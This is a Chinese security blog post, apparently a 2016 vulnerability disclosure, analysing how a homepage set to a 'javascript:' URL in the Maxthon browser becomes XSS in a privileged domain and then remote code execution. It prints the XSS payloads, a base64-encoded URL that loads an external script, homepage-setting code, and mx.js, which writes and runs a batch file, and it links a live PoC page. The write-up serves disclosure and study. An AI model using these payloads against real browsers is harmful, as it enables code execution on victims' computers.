PHITHON的公开漏洞傲游浏览器远程代码执行及分析过程 2016-09-06
傲游浏览器远程代码执行及分析过程
前几天刷了一些xss,由一个引出了点小研究。
0x01 特权域XSS
经过对傲游浏览器一番研究发现,当我们将浏览器主页设置成以“javascript:”为协议的时候,在用户打开主页时即可触发XSS。
打开主页的方式是很有意思的,当我们在一个互联网网站打开主页时,触发XSS的域为about:blank,这个域的XSS没太大意义:
但,当我们在一个新标签页打开主页的时候,其域为mx://res/quick-access/index.htm:
0x02 遨游浏览器分析
这时候,权限就比较大了。经过二哥等几个前辈的研究,傲游浏览器有以下特点:
- 通过 mx://res/notification/ 可以调用maxthon.program,执行任意路径的程序。
2.通过 mx://res/app/%7B33CA60D6-EADC-4558-9185-2EBE14214AB9%7D/index.htm 可以调用maxthon.io进行文件操作。
3.maxthon.cn、maxthon.com 等某些域名下存在maxthon对象,可以调用部分API。
幸运的是, mx://res/quick-access/index.htm 和 mx://res/notification/ 等页面的protocol(mx)、host(res)、port(80)都是相同的,所以他们是同源的,符合浏览器SOP策略,我们直接通过 mx://res/quick-access/index.htm 就可以调用 mx://res/notification/ 的API。
现在我们等于有了一个 mx://res/quick-access/index.htm 域名下的XSS,我们想将其构造成远程命令执行,需要完成以下几步:
- 通过某种方式让受害者增加一个域名为“javascript:xxx”的首页。
- 用户点击首页后,执行我们的javascript代码
- 调用maxthon.io写入一个命令文件到受害者电脑,并调用maxthon.program执行之。
那么,我们一步一步来。第1步,怎么让受害者增加这种域名的首页?
0x03 构造POC
经过我的研究,傲游的首页分为两种,一个叫“startpage”、一个叫“multihomepage”。二者有什么区别,startpage是浏览器启动时打开的时候调用的页面,multihomepage是点击主页时打开的页面:
这二者均可触发XSS,但是前者触发的域是about:blank。
为了设置mutihomepage,我们需要找一个遨游特权域下的XSS。这个还是比较简单的。这里说两个XSS:
登录后访问如下链接即可触发:
http://xxx.maxthon/member.php?mod=logging&action=login&referer=javascript://xxxx/%250dlocation.hash#<script>alert(/xss/)</script>
2.直接访问如下页面触发:
http://xxx.maxthon.com/en_US/search/all/PHN2ZyBvbmxvYWQ9YWxlcnQoMSk
第二个比较方便,我们就用这个了。测试了一下直接用<script>
加载外部js文件会被拦截,只需要换成其他方式即可:
1 | <svg onload="s=createElement('script');s.src='//localhost/test/xss.js';document.body.appendChild(s);" > |
以上payload进行base64编码后,访问:http://xxx.maxthon.com/d/search/all/PHN2ZyBvbmxvYWQ9InM9Y3JlYXRlRWxlbWVudCgmIzM5O3NjcmlwdCYjMzk7KTtzLnNyYz0mIzM5Oy8vbG9jYWxob3N0L3Rlc3QveHNzLmpzJiMzOTs7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzKTsiID4
,即可加载 http://localhost/test/xss.js
xss.js里写上设置浏览器主页(multihomepage)的代码:
1 | var a = 'javascript:document.write(\\"<script src=http://localhost/test/mx.js><\/script>\\");'; |
注意,这个multihomepage的设置方法和startpage略有不同,multihomepage传入的是多个url组成的数组转换成json后的字符串形式。
这个时候,我们的主页已经变成如下形式了:
用户在新建标签页点击主页按钮的时候,就会在mx://res域下加载上述js代码,mx.js如下:
1 | var s1 = document.createElement("iframe");s1.src="mx://res/app/%7B33CA60D6-EADC-4558-9185-2EBE14214AB9%7D/index.htm"; |
先写入c:/1.bat,再执行之:
使用傲游浏览器最新版本访问如下链接:
http://mhz.pw/game/maxthon/test.html
之后在新标签页点击主页按钮,即会触发。
录制了一段视频,供参考:
https://youtube.com/watch?v=0mvdhdREYiI
或者
链接: http://pan.baidu.com/s/1pJBiF7X 密码: 6k2i